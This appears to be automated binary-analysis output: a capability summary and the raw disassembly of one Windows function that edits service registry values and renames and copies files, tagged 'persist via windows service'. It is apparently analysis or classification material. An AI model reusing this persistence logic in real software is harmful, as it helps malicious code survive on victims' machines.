Function at 0x1000ea12
Capabilities:
Copy file
Delete registry value
Move file
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x100152fc
call fcn.10015030
push ecx
mov eax, 0x1170
call fcn.10014f70
push ebx
push esi
push edi
mov dword [ebp - 0x14], connect
mov dword [ebp - 0x10], esp
push 0x1008e5f0
call fcn.10003592
pop ecx
xor ebx, ebx
push 0x7f
xor eax, eax
pop edx
lea edi, [ebp - 0x23f]
mov ecx, edx
mov byte [ebp - 0x240], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x83f]
mov byte [ebp - 0x840], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xc3f]
mov byte [ebp - 0xc40], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x43f]
mov byte [ebp - 0x440], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x63f]
mov byte [ebp - 0x640], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
mov dword [ebp - 4], ebx
cmp eax, ebx
mov dword [ebp - 0x18], 0x10095508
je 0x1000eac5
cmp byte [eax], bl
je 0x1000eac5
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
call fcn.1000c62d
mov dword [ebp - 0x1c], eax
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 1
mov edi, 0x10095214
push ebx
push edi
push dword [ebp - 0x14]
call esi
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x1000eb20
push eax
push edi
push 0x100951e8
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x1008e5f0
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x200
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push 0x100951e0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov dword [ebp + 8], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp + 8], ebx
je 0x1000eb74
lea eax, [ebp - 0x3c]
push 0x10016908
push eax
mov dword [ebp - 0x3c], 0x100951bc
call sub.MSVCRT.dll__CxxThrowException
lea edi, [ebp - 0x240]
cmp byte [edi], bl
je 0x1000eba1
push dword [ebp - 0x18]
push edi
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x1000eb9d
push ebx
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
mov edi, eax
jmp 0x1000eb7a
cmp byte [edi], bl
jne 0x1000ebe6
push 0x10095170
call fcn.10003592
pop ecx
lea esi, [ebp - 0x240]
cmp byte [esi], bl
je 0x1000ebd1
push esi
push 0x10095168
call fcn.10003592
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 0x10
inc eax
mov esi, eax
jmp 0x1000ebb2
lea eax, [ebp - 0x34]
push 0x10016908
push eax
mov dword [ebp - 0x34], 0x1008e5f0
call sub.MSVCRT.dll__CxxThrowException
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0xa3f]
mov byte [ebp - 0xa40], bl
push 0x200
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xa40]
push 0x1009412c
push eax
mov dword [ebp - 0x14], connect
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp - 0x18]
lea eax, [ebp - 0xa40]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xa40]
push 0x100954b0
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x1c
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0xa40]
push ebx
push eax
push dword [ebp - 0x14]
call esi
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x1000ec80
push eax
push dword [ebp - 0x18]
push 0x10095064
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x1008e5f0
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x20]
mov edi, 0x100940ec
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push edi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x1000eccc
push eax
push dword [ebp - 0x18]
push 0x10095440
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x1008e5f0
push 0x10016908
push eax
call sub.MSVCRT.dll__CxxThrowException
mov esi, dword [sym.imp.MSVCRT.dll_strrchr]
lea eax, [ebp - 0x240]
push 0x5c
push eax
call esi
pop ecx
cmp eax, ebx
pop ecx
je 0x1000edb9
mov byte [eax], bl
inc eax
push eax
lea eax, [ebp - 0xc40]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x840]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0xc40]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 0x18
cmp eax, ebx
je 0x1000ed92
mov byte [eax], bl
lea eax, [ebp - 0xc40]
push eax
lea eax, [ebp - 0x440]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x440]
push 0x5f
push eax
call esi
mov esi, eax
add esp, 0x10
cmp esi, ebx
je 0x1000ee19
lea eax, [ebp - 0x440]
push 0x100956b0
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x1000ee19
lea eax, [ebp - 0x440]
mov byte [esi], bl
push eax
lea eax, [ebp - 0x640]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x640]
push 0x100956a8
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x840]
push 0x10094a48
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x840]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x840]
push eax
push 0x1009568c
call fcn.10003592
lea eax, [ebp - 0x840]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0xc
inc eax
push eax
lea eax, [ebp - 0x840]
push eax
push 2
push ebx
push edi
push dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call edi
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp + 8], ebx
je 0x1000f098
lea eax, [ebp - 0x28]
push 0x10016908
push eax
mov dword [ebp - 0x28], 0x10095008
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x440]
push 0x100956a8
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x640]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x640]
push 0x10094cfc
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x1180]
push eax
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1000f03f
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x103f]
mov byte [ebp - 0x1040], bl
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0xe3f]
mov byte [ebp - 0xe40], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0xe40]
push 0x10095684
push eax
call edi
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x1040]
push 0x10095674
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0x18
lea eax, [ebp - 0xe40]
push 1
push eax
lea eax, [ebp - 0x440]
push eax
call edi
test eax, eax
je 0x1000f026
lea eax, [ebp - 0xe40]
mov esi, 0x10095654
push eax
lea eax, [ebp - 0x440]
push eax
push esi
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x440]
push ebx
push eax
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x1000f00d
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x640]
push eax
push 0x10094e80
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x1040]
push 1
push eax
lea eax, [ebp - 0x640]
push eax
call edi
test eax, eax
je 0x1000ef75
lea eax, [ebp - 0x1040]
push eax
lea eax, [ebp - 0x640]
push eax
push esi
call fcn.10003592
add esp, 0xc
lea eax, [ebp - 0x20]
mov esi, 0x100954a0
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000efe0
lea eax, [ebp - 0x240]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x240]
push eax
push 1
push ebx
push 0x10095434
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000efd6
lea eax, [ebp - 0x240]
push eax
push 0x10095638
call fcn.10003592
pop ecx
pop ecx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp dword [ebp - 0x1c], 1
jne 0x1000efef
push dword [ebp - 0x18]
call fcn.1000c564
pop ecx
push 1
push 3
push dword [ebp - 0x18]
call fcn.1000c73a
push dword [ebp - 0x18]
push 0x100955ec
call fcn.10003592
add esp, 0x14
jmp 0x1000f05d
cmp dword [ebp - 0x1c], 1
jne 0x1000f01c
push dword [ebp - 0x18]
call fcn.1000c564
pop ecx
push dword [ebp - 0x18]
push 0x100955c8
jmp 0x1000f056
cmp dword [ebp - 0x1c], 1
jne 0x1000f035
push dword [ebp - 0x18]
call fcn.1000c564
pop ecx
push dword [ebp - 0x18]
push 0x100955a4
jmp 0x1000f056
cmp dword [ebp - 0x1c], 1
jne 0x1000f04e
push dword [ebp - 0x18]
call fcn.1000c564
pop ecx
push dword [ebp - 0x18]
push 0x1009557c
call fcn.10003592
pop ecx
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000f129
lea eax, [ebp - 0x20]
mov esi, 0x100954a0
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000f0ff
lea eax, [ebp - 0x240]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x240]
push eax
push 1
push ebx
push 0x10095434
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x1000f0f5
lea eax, [ebp - 0x240]
push eax
push 0x10095638
call fcn.10003592
pop ecx
pop ecx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp dword [ebp - 0x1c], 1
jne 0x1000f10e
push dword [ebp - 0x18]
call fcn.1000c564
pop ecx
push dword [ebp - 0x18]
push 0x100955ec
call fcn.10003592
pop ecx
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret